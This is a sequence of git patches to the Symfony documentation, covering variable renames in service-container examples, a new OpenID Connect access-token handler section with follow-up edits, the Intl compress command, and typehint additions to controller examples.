 
-            $containerBuilder->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (ChildDefinition $definition, SensitiveElement $attribute, \ReflectionClass $reflector): void {
+            $container->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (ChildDefinition $definition, SensitiveElement $attribute, \ReflectionClass $reflector): void {
                 // Apply the 'app.sensitive_element' tag to all classes with SensitiveElement
                 // attribute, and attach the token value to the tag
                 $definition->addTag('app.sensitive_element', ['token' => $attribute->getToken()]);
@@ -284,8 +284,8 @@ Then, define the chain as a service:
 
         use App\Mail\TransportChain;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(TransportChain::class);
         };
@@ -338,8 +338,8 @@ For example, you may add the following transports as services:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
@@ -374,17 +374,17 @@ container for any services with the ``app.mail_transport`` tag::
 
     class MailTransportPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $containerBuilder): void
+        public function process(ContainerBuilder $container): void
         {
             // always first check if the primary service is defined
-            if (!$containerBuilder->has(TransportChain::class)) {
+            if (!$container->has(TransportChain::class)) {
                 return;
             }
 
-            $definition = $containerBuilder->findDefinition(TransportChain::class);
+            $definition = $container->findDefinition(TransportChain::class);
 
             // find all service IDs with the app.mail_transport tag
-            $taggedServices = $containerBuilder->findTaggedServiceIds('app.mail_transport');
+            $taggedServices = $container->findTaggedServiceIds('app.mail_transport');
 
             foreach ($taggedServices as $id => $tags) {
                 // add the transport service to the TransportChain service
@@ -411,9 +411,9 @@ or from your kernel::
     {
         // ...
 
-        protected function build(ContainerBuilder $containerBuilder): void
+        protected function build(ContainerBuilder $container): void
         {
-            $containerBuilder->addCompilerPass(new MailTransportPass());
+            $container->addCompilerPass(new MailTransportPass());
         }
     }
 
@@ -501,8 +501,8 @@ To answer this, change the service declaration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
@@ -545,7 +545,7 @@ use this, update the compiler::
 
     class TransportCompilerPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $containerBuilder): void
+        public function process(ContainerBuilder $container): void
         {
             // ...
 
@@ -655,8 +655,8 @@ directly via PHP attributes:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(App\Handler\One::class)
                 ->tag('app.handler')
@@ -720,8 +720,8 @@ the number, the earlier the tagged service will be located in the collection:
 
         use App\Handler\One;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(One::class)
                 ->tag('app.handler', ['priority' => 20])
@@ -796,8 +796,8 @@ you can define it in the configuration of the collecting service:
 
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             // ...
 
@@ -884,8 +884,8 @@ indexed by the ``key`` attribute:
         use App\Handler\Two;
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(One::class)
                 ->tag('app.handler', ['key' => 'handler_one']);
@@ -998,8 +998,8 @@ array element. For example, to retrieve the ``handler_two`` handler::
             use App\HandlerCollection;
             use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-            return function (ContainerConfigurator $containerConfigurator) {
-                $services = $containerConfigurator->services();
+            return function (ContainerConfigurator $container) {
+                $services = $container->services();
 
                 // ...
 
diff --git a/session.rst b/session.rst
index 1124eea36a8..621749eadb0 100644
--- a/session.rst
+++ b/session.rst
@@ -723,8 +723,8 @@ To use it, first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -838,8 +838,8 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -1011,8 +1011,8 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
@@ -1130,8 +1130,8 @@ configure these values with the second argument passed to the
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
diff --git a/testing.rst b/testing.rst
index ed0ab1a8e2c..24326be908a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -357,8 +357,8 @@ the ``test`` environment as follows:
         use App\Contracts\Repository\NewsRepositoryInterface;
         use App\Repository\NewsRepository;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return static function (ContainerConfigurator $container) {
+            $container->services()
                 // redefine the alias as it should be while making it public
                 ->alias(NewsRepositoryInterface::class, NewsRepository::class)
                     ->public()

From 7a20fdf335d271351dc8fbe571397911182a71f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 May 2023 12:32:23 +0200
Subject: [PATCH 4637/7107] [Intl] Document the compress binary

---
 components/intl.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/intl.rst b/components/intl.rst
index f4560427a91..67813ef7951 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -402,6 +402,21 @@ platforms::
     Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
     to improve the slugs of contents that include emojis (e.g. for URLs).
 
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space. If you need to save disk space (e.g.
+because you deploy to some service with tight size constraints), run this command
+(e.g. as an automated script after ``composer install``) to compress the internal
+Symfony emoji files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/intl/Resources/bin/compress
+
+.. versionadded:: 6.3
+
+    The ``compress`` binary was introduced in Symfony 6.3.
+
 Learn more
 ----------
 

From 5b53159eb1ba7d572234074f2cbab1d4a7644ec7 Mon Sep 17 00:00:00 2001
From: Vincent Chalamon <vincentchalamon@protonmail.com>
Date: Fri, 25 Nov 2022 09:50:01 +0100
Subject: [PATCH 4638/7107] [Security] Document
 `access_token.token_handler.oidc_user_info`

---
 security/access_token.rst | 437 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 437 insertions(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index d5d607dbcb0..2e6438a633e 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -343,6 +343,443 @@ and configure the service ID as the ``success_handler``:
     ``failure_handler`` option and create a class that implements
     :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
 
+Using OpenID Connect (OIDC)
+---------------------------
+
+`OpenID Connect (OIDC)`_ is the third generation of OpenID technology and it's a RESTful HTTP API that uses
+JSON as its data format. OpenID Connect is an authentication layer on top of the OAuth 2.0 authorization framework.
+It allows to verify the identity of an end user based on the authentication performed by an authorization server.
+
+.. caution::
+
+    This feature is experimental and could change or be removed at any time without prior notice.
+
+1) Configure the OidcUserInfoTokenHandler
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The ``OidcUserInfoTokenHandler`` class was introduced in Symfony 6.3.
+
+.. note::
+
+    The ``OidcUserInfoTokenHandler`` requires ``symfony/http-client`` package:
+
+    .. code-block:: terminal
+
+        $ composer require symfony/http-client
+
+Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and retrieve the user info:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc_user_info:
+                                client:
+                                    base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc-user-info>
+                                <client base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
+                            </oidc-user-info>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidcUserInfo()
+                            ->client()
+                                ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
+            ;
+        };
+
+.. tip::
+
+    Following the `OpenID Connect Specification`_, the `sub` claim
+    is used as user identifier by default. To use another claim,
+    specify it on the configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc_user_info:
+                                claim: email
+                                client:
+                                    base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc-user-info claim="email">
+                                <client base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
+                            </oidc-user-info>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidcUserInfo()
+                            ->claim('email')
+                            ->client()
+                                ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
+            ;
+        };
+
+.. tip::
+
+    The ``oidc_user_info`` token handler automatically creates
+    an HTTP client with the specified configuration. If you
+    prefer using your own client, you can specify the service
+    name via the ``client`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc_user_info:
+                                client: oidc.client
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc-user-info client="oidc.client"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidcUserInfo()
+                            ->client('oidc.client')
+            ;
+        };
+
+By default, the ``OidcUserInfoTokenHandler`` creates an OidcUser with the claims. To create your own User from the
+claims, you must :doc:`create your own UserProvider </security/user_providers>`::
+
+    // src/Security/Core/User/OidcUserProvider.php
+    use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface;
+
+    class OidcUserProvider implements AttributesBasedUserProviderInterface
+    {
+        public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface
+        {
+            // do some magic
+        }
+    }
+
+2) Configure the OidcTokenHandler
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The ``OidcTokenHandler`` class was introduced in Symfony 6.3.
+
+.. note::
+
+    The ``OidcTokenHandler`` requires ``web-token/jwt-signature``, ``web-token/jwt-checker`` and
+    ``web-token/jwt-signature-algorithm-ecdsa`` packages:
+
+    .. code-block:: terminal
+
+        $ composer require web-token/jwt-signature
+        $ composer require web-token/jwt-checker
+        $ composer require web-token/jwt-signature-algorithm-ecdsa
+
+Symfony provides a generic OidcTokenHandler to decode your token, validate it and retrieve the user info from it:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc:
+                                signature:
+                                    # Algorithm used to sign the JWS
+                                    algorithm: 'HS256'
+                                    # A JSON-encoded JWK
+                                    key: '{"kty":"...","k":"..."}'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc>
+                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            </oidc>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidc()
+                            ->signature()
+                                ->algorithm('HS256')
+                                ->key('{"kty":"...","k":"..."}')
+            ;
+        };
+
+.. tip::
+
+    Following the `OpenID Connect Specification`_, the `sub` claim
+    is used by default as user identifier. To use another claim,
+    specify it on the configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc:
+                                claim: email
+                                signature:
+                                    algorithm: 'HS256'
+                                    key: '{"kty":"...","k":"..."}'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc claim="email">
+                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            </oidc>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidc()
+                            ->claim('email')
+                            ->signature()
+                                ->algorithm('HS256')
+                                ->key('{"kty":"...","k":"..."}')
+            ;
+        };
+
+.. tip::
+
+    The ``oidc`` token handler also check for the token audience.
+    By default, this audience is optional. To enable this check,
+    add the ``audience`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc:
+                                audience: 'My audience'
+                                signature:
+                                    algorithm: 'HS256'
+                                    key: '{"kty":"...","k":"..."}'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc audience="My audience">
+                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            </oidc>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidc()
+                            ->audience('My audience')
+                            ->signature()
+                                ->algorithm('HS256')
+                                ->key('{"kty":"...","k":"..."}')
+            ;
+        };
+
+By default, the OidcTokenHandler creates an OidcUser with the claims. To create your own User from the claims,
+you must :doc:`create your own UserProvider </security/user_providers>`::
+
+    // src/Security/Core/User/OidcUserProvider.php
+    use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface;
+
+    class OidcUserProvider implements AttributesBasedUserProviderInterface
+    {
+        public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface
+        {
+            // do some magic
+        }
+    }
+
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
+.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
+.. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC)

From 51e170b6c2185e7d9f089f39222504c0ebd7d31e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 May 2023 13:03:57 +0200
Subject: [PATCH 4639/7107] Tweaks

---
 security/access_token.rst | 83 ++++++++++++++++++---------------------
 1 file changed, 38 insertions(+), 45 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 8bc7cc62b3e..6114d076637 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -343,9 +343,11 @@ and configure the service ID as the ``success_handler``:
 Using OpenID Connect (OIDC)
 ---------------------------
 
-`OpenID Connect (OIDC)`_ is the third generation of OpenID technology and it's a RESTful HTTP API that uses
-JSON as its data format. OpenID Connect is an authentication layer on top of the OAuth 2.0 authorization framework.
-It allows to verify the identity of an end user based on the authentication performed by an authorization server.
+`OpenID Connect (OIDC)`_ is the third generation of OpenID technology and it's a
+RESTful HTTP API that uses JSON as its data format. OpenID Connect is an
+authentication layer on top of the OAuth 2.0 authorization framework. It allows
+to verify the identity of an end user based on the authentication performed by
+an authorization server.
 
 .. caution::
 
@@ -358,15 +360,15 @@ It allows to verify the identity of an end user based on the authentication perf
 
     The ``OidcUserInfoTokenHandler`` class was introduced in Symfony 6.3.
 
-.. note::
+The ``OidcUserInfoTokenHandler`` requires the ``symfony/http-client`` package to
+make the needed HTTP requests. If you haven't installed it yet, run this command:
 
-    The ``OidcUserInfoTokenHandler`` requires ``symfony/http-client`` package:
-
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require symfony/http-client
+    $ composer require symfony/http-client
 
-Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and retrieve the user info:
+Symfony provides a generic ``OidcUserInfoTokenHandler`` to call your OIDC server
+and retrieve the user info:
 
 .. configuration-block::
 
@@ -422,11 +424,8 @@ Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and
             ;
         };
 
-.. tip::
-
-    Following the `OpenID Connect Specification`_, the `sub` claim
-    is used as user identifier by default. To use another claim,
-    specify it on the configuration:
+Following the `OpenID Connect Specification`_, the ``sub`` claim is used as user
+identifier by default. To use another claim, specify it on the configuration:
 
 .. configuration-block::
 
@@ -484,12 +483,9 @@ Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and
             ;
         };
 
-.. tip::
-
-    The ``oidc_user_info`` token handler automatically creates
-    an HTTP client with the specified configuration. If you
-    prefer using your own client, you can specify the service
-    name via the ``client`` option:
+The ``oidc_user_info`` token handler automatically creates an HTTP client with
+the specified configuration. If you prefer using your own client, you can
+specify the service name via the ``client`` option:
 
 .. configuration-block::
 
@@ -541,8 +537,9 @@ Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and
             ;
         };
 
-By default, the ``OidcUserInfoTokenHandler`` creates an OidcUser with the claims. To create your own User from the
-claims, you must :doc:`create your own UserProvider </security/user_providers>`::
+By default, the ``OidcUserInfoTokenHandler`` creates an ``OidcUser`` with the
+claims. To create your own user object from the claims, you must
+:doc:`create your own UserProvider </security/user_providers>`::
 
     // src/Security/Core/User/OidcUserProvider.php
     use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface;
@@ -551,7 +548,7 @@ claims, you must :doc:`create your own UserProvider </security/user_providers>`:
     {
         public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface
         {
-            // do some magic
+            // implement your own logic to load and return the user object
         }
     }
 
@@ -562,18 +559,18 @@ claims, you must :doc:`create your own UserProvider </security/user_providers>`:
 
     The ``OidcTokenHandler`` class was introduced in Symfony 6.3.
 
-.. note::
+The ``OidcTokenHandler`` requires ``web-token/jwt-signature``,
+``web-token/jwt-checker`` and ``web-token/jwt-signature-algorithm-ecdsa``
+packages. If you haven't installed them yet, run these commands:
 
-    The ``OidcTokenHandler`` requires ``web-token/jwt-signature``, ``web-token/jwt-checker`` and
-    ``web-token/jwt-signature-algorithm-ecdsa`` packages:
-
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require web-token/jwt-signature
-        $ composer require web-token/jwt-checker
-        $ composer require web-token/jwt-signature-algorithm-ecdsa
+    $ composer require web-token/jwt-signature
+    $ composer require web-token/jwt-checker
+    $ composer require web-token/jwt-signature-algorithm-ecdsa
 
-Symfony provides a generic OidcTokenHandler to decode your token, validate it and retrieve the user info from it:
+Symfony provides a generic ``OidcTokenHandler`` to decode your token, validate
+it and retrieve the user info from it:
 
 .. configuration-block::
 
@@ -633,11 +630,9 @@ Symfony provides a generic OidcTokenHandler to decode your token, validate it an
             ;
         };
 
-.. tip::
-
-    Following the `OpenID Connect Specification`_, the `sub` claim
-    is used by default as user identifier. To use another claim,
-    specify it on the configuration:
+Following the `OpenID Connect Specification`_, the ``sub`` claim is used by
+default as user identifier. To use another claim, specify it on the
+configuration:
 
 .. configuration-block::
 
@@ -697,11 +692,8 @@ Symfony provides a generic OidcTokenHandler to decode your token, validate it an
             ;
         };
 
-.. tip::
-
-    The ``oidc`` token handler also check for the token audience.
-    By default, this audience is optional. To enable this check,
-    add the ``audience`` option:
+The ``oidc`` token handler also checks for the token audience. By default, this
+audience is optional. To enable this check, add the ``audience`` option:
 
 .. configuration-block::
 
@@ -761,8 +753,9 @@ Symfony provides a generic OidcTokenHandler to decode your token, validate it an
             ;
         };
 
-By default, the OidcTokenHandler creates an OidcUser with the claims. To create your own User from the claims,
-you must :doc:`create your own UserProvider </security/user_providers>`::
+By default, the ``OidcTokenHandler`` creates an ``OidcUser`` with the claims. To
+create your own User from the claims, you must
+:doc:`create your own UserProvider </security/user_providers>`::
 
     // src/Security/Core/User/OidcUserProvider.php
     use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface;
@@ -771,7 +764,7 @@ you must :doc:`create your own UserProvider </security/user_providers>`::
     {
         public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface
         {
-            // do some magic
+            // implement your own logic to load and return the user object
         }
     }
 

From d59f96070b5c51f7116a4f2e53c4b61fe986e1de Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 10 May 2023 22:16:14 +0200
Subject: [PATCH 4640/7107] Remove versionadded 5.2 on 6.x branch

---
 form/form_customization.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 1df12a0bc9c..7b4844247f5 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -127,10 +127,6 @@ fields, so you no longer have to deal with form themes:
         {% endfor %}
     </select>
 
-.. versionadded:: 5.2
-
-    The ``field_*()`` helpers were introduced in Symfony 5.2.
-
 Form Rendering Variables
 ------------------------
 

From 2426ce44af403fde87d4989d2824c0f8d8e11bdf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 11 Mar 2023 14:25:14 +0100
Subject: [PATCH 4641/7107] Be consistent in code examples

---
 service_container/service_closures.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index d490bcb3769..1a6b6542680 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -58,6 +58,9 @@ argument of type ``service_closure``:
             App\Service\MyService:
                 arguments: [!service_closure '@mailer']
 
+                # In case the dependency is optional
+                # arguments: [!service_closure '@?mailer']
+
     .. code-block:: xml
 
         <!-- config/services.xml -->
@@ -69,6 +72,11 @@ argument of type ``service_closure``:
             <services>
                 <service id="App\Service\MyService">
                     <argument type="service_closure" id="mailer"/>
+
+                    <!--
+                    In case the dependency is optional
+                    <argument type="service_closure" id="mailer" on-invalid="ignore"/>
+                    -->
                 </service>
             </services>
         </container>

From f7e1af2b238c60ce47e4f746359c0f7bcbbd7ad2 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 12 May 2023 09:42:28 +0200
Subject: [PATCH 4642/7107] Add some typehint

---
 controller/service.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index 1510f7b8278..50ee34a1aac 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -31,6 +31,7 @@ apply the ``controller.service_arguments`` tag to your controller services::
     // src/Controller/HelloController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\AsController;
     use Symfony\Component\Routing\Annotation\Route;
 
@@ -38,7 +39,7 @@ apply the ``controller.service_arguments`` tag to your controller services::
     class HelloController
     {
         #[Route('/hello', name: 'hello', methods: ['GET'])]
-        public function index()
+        public function index(): Response
         {
             // ...
         }
@@ -71,7 +72,7 @@ a service like: ``App\Controller\HelloController::index``:
             /**
              * @Route("/hello", name="hello", methods={"GET"})
              */
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
@@ -82,12 +83,13 @@ a service like: ``App\Controller\HelloController::index``:
         // src/Controller/HelloController.php
         namespace App\Controller;
 
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class HelloController
         {
             #[Route('/hello', name: 'hello', methods: ['GET'])]
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
@@ -151,7 +153,7 @@ which is a common practice when following the `ADR pattern`_
          */
         class Hello
         {
-            public function __invoke($name = 'World')
+            public function __invoke(string $name = 'World'): Response
             {
                 return new Response(sprintf('Hello %s!', $name));
             }
@@ -168,7 +170,7 @@ which is a common practice when following the `ADR pattern`_
         #[Route('/hello/{name}', name: 'hello')]
         class Hello
         {
-            public function __invoke($name = 'World')
+            public function __invoke(string $name = 'World'): Response
             {
